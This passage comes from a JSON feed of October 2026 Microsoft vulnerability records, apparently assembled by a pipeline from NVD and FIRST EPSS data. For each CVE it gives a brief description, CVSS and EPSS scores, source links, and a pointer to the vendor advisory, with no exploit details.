exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-88178","cveId":"CVE-2026-88178","aliases":[],"kind":"vulnerability","title":"Use after free in Microsoft Office PowerPoint allows an unauthorized attacker to execute code over a network.","summary":"Use after free in Microsoft Office PowerPoint allows an unauthorized attacker to execute code over a network.","detail":"Use after free in Microsoft Office PowerPoint allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:38.557Z","updatedAt":"2026-10-15T21:19:07.190Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-88178","asOf":"2026-10-15T21:19:07.190Z"},"epss":{"probability":0.00972,"percentile":0.61719,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-88178&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-88178","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88178","type":"primary","publishedAt":"2026-10-13T19:21:38.557Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88178","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-88178&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-88178, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-88156","cveId":"CVE-2026-88156","aliases":[],"kind":"vulnerability","title":"Stack-based buffer overflow in Microsoft Office Outlook allows an unauthorized attacker to execute code over a network.","summary":"Stack-based buffer overflow in Microsoft Office Outlook allows an unauthorized attacker to execute code over a network.","detail":"Stack-based buffer overflow in Microsoft Office Outlook allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:35.710Z","updatedAt":"2026-10-15T21:19:05.207Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-88156","asOf":"2026-10-15T21:19:05.207Z"},"epss":{"probability":0.01172,"percentile":0.67224,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-88156&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-88156","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88156","type":"primary","publishedAt":"2026-10-13T19:21:35.710Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88156","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-88156&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-88156, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-88102","cveId":"CVE-2026-88102","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Failover Cluster allows an unauthorized attacker to execute code over a network.","summary":"Use after free in Windows Failover Cluster allows an unauthorized attacker to execute code over a network.","detail":"Use after free in Windows Failover Cluster allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:28.217Z","updatedAt":"2026-10-16T15:42:02.130Z","regions":["Global"],"vendor":"microsoft","product":"windows server 2019","stacks":["Microsoft Windows","windows server 2019"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-88102","asOf":"2026-10-16T15:42:02.130Z"},"epss":{"probability":0.00634,"percentile":0.50077,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-88102&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-88102","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88102","type":"primary","publishedAt":"2026-10-13T19:21:28.217Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88102","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-88102&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-88102, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-88092","cveId":"CVE-2026-88092","aliases":[],"kind":"vulnerability","title":"Inconsistent interpretation of http requests ('http request/response smuggling') in ASP.NET Core allows an unauthorized attacker to perform tampering over a network.","summary":"Inconsistent interpretation of http requests ('http request/response smuggling') in ASP.NET Core allows an unauthorized attacker to perform tampering over a network.","detail":"Inconsistent interpretation of http requests ('http request/response smuggling') in ASP.NET Core allows an unauthorized attacker to perform tampering over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:27.043Z","updatedAt":"2026-10-16T15:47:14.833Z","regions":["Global"],"vendor":"microsoft","product":"asp.net core","stacks":[".NET","asp.net core"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.4,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-88092","asOf":"2026-10-16T15:47:14.833Z"},"epss":{"probability":0.00934,"percentile":0.60502,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-88092&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-88092","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88092","type":"primary","publishedAt":"2026-10-13T19:21:27.043Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88092","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-88092&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-88092, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85818","cveId":"CVE-2026-85818","aliases":[],"kind":"vulnerability","title":"Improper verification of cryptographic signature in Windows Schannel allows an unauthorized attacker to perform spoofing over a network.","summary":"Improper verification of cryptographic signature in Windows Schannel allows an unauthorized attacker to perform spoofing over a network.","detail":"Improper verification of cryptographic signature in Windows Schannel allows an unauthorized attacker to perform spoofing over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:06.667Z","updatedAt":"2026-10-16T19:58:02.273Z","regions":["Global"],"vendor":"microsoft","product":"windows 11 23h2","stacks":["Microsoft Windows","windows 11 23h2"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85818","asOf":"2026-10-16T19:58:02.273Z"},"epss":{"probability":0.00414,"percentile":0.35441,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85818&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85818","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85818","type":"primary","publishedAt":"2026-10-13T19:21:06.667Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85818","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85818&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85818, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85814","cveId":"CVE-2026-85814","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Microsoft Windows Media Foundation allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Microsoft Windows Media Foundation allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Microsoft Windows Media Foundation allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:05.980Z","updatedAt":"2026-10-16T19:34:38.030Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85814","asOf":"2026-10-16T19:34:38.030Z"},"epss":{"probability":0.00927,"percentile":0.60247,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85814&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85814","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85814","type":"primary","publishedAt":"2026-10-13T19:21:05.980Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85814","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85814&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85814, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85809","cveId":"CVE-2026-85809","aliases":[],"kind":"vulnerability","title":"Remote Code Execution in Windows Routing and Remote Access Service (RRAS) allows attacker to gain an unauthorized access to victim's machine","summary":"Remote Code Execution in Windows Routing and Remote Access Service (RRAS) allows attacker to gain an unauthorized access to victim's machine","detail":"Remote Code Execution in Windows Routing and Remote Access Service (RRAS) allows attacker to gain an unauthorized access to victim's machine\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:05.287Z","updatedAt":"2026-10-16T19:38:42.970Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","Microsoft Office","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85809","asOf":"2026-10-16T19:38:42.970Z"},"epss":{"probability":0.00927,"percentile":0.60247,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85809&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85809","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85809","type":"primary","publishedAt":"2026-10-13T19:21:05.287Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85809","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85809&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85809, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85806","cveId":"CVE-2026-85806","aliases":[],"kind":"vulnerability","title":"Integer underflow (wrap or wraparound) in Network Policy Server (NPS) allows an unauthorized attacker to execute code over a network.","summary":"Integer underflow (wrap or wraparound) in Network Policy Server (NPS) allows an unauthorized attacker to execute code over a network.","detail":"Integer underflow (wrap or wraparound) in Network Policy Server (NPS) allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:04.770Z","updatedAt":"2026-10-16T19:41:41.870Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85806","asOf":"2026-10-16T19:41:41.870Z"},"epss":{"probability":0.00908,"percentile":0.59672,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85806&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85806","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85806","type":"primary","publishedAt":"2026-10-13T19:21:04.770Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85806","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85806&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85806, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85792","cveId":"CVE-2026-85792","aliases":[],"kind":"vulnerability","title":"Remote Code Execution in Windows Routing and Remote Access Service (RRAS) allows attacker to gain an unauthorized access to victim's machine","summary":"Remote Code Execution in Windows Routing and Remote Access Service (RRAS) allows attacker to gain an unauthorized access to victim's machine","detail":"Remote Code Execution in Windows Routing and Remote Access Service (RRAS) allows attacker to gain an unauthorized access to victim's machine\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:02.570Z","updatedAt":"2026-10-16T18:35:01.330Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","Microsoft Office","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85792","asOf":"2026-10-16T18:35:01.330Z"},"epss":{"probability":0.00892,"percentile":0.59162,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85792&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85792","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85792","type":"primary","publishedAt":"2026-10-13T19:21:02.570Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85792","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85792&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85792, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-84015","cveId":"CVE-2026-84015","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Remote Access Point-to-Point Protocol (PPP) EAP-TLS allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Remote Access Point-to-Point Protocol (PPP) EAP-TLS allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Remote Access Point-to-Point Protocol (PPP) EAP-TLS allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:51.720Z","updatedAt":"2026-10-19T15:11:54.867Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","Microsoft Office","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-84015","asOf":"2026-10-19T15:11:54.867Z"},"epss":{"probability":0.00874,"percentile":0.58656,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-84015&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-84015","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-84015","type":"primary","publishedAt":"2026-10-13T19:20:51.720Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-84015","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-84015&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-84015, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83935","cveId":"CVE-2026-83935","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Microsoft XML allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Microsoft XML allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Microsoft XML allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:50.337Z","updatedAt":"2026-10-19T19:20:13.543Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83935","asOf":"2026-10-19T19:20:13.543Z"},"epss":{"probability":0.00897,"percentile":0.59307,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83935&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83935","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83935","type":"primary","publishedAt":"2026-10-13T19:20:50.337Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-83935","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83935&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83935, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83869","cveId":"CVE-2026-83869","aliases":[],"kind":"vulnerability","title":"Integer underflow (wrap or wraparound) in DNS Server allows an unauthorized attacker to execute code over a network.","summary":"Integer underflow (wrap or wraparound) in DNS Server allows an unauthorized attacker to execute code over a network.","detail":"Integer underflow (wrap or wraparound) in DNS Server allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:36.677Z","updatedAt":"2026-10-16T16:21:40.227Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 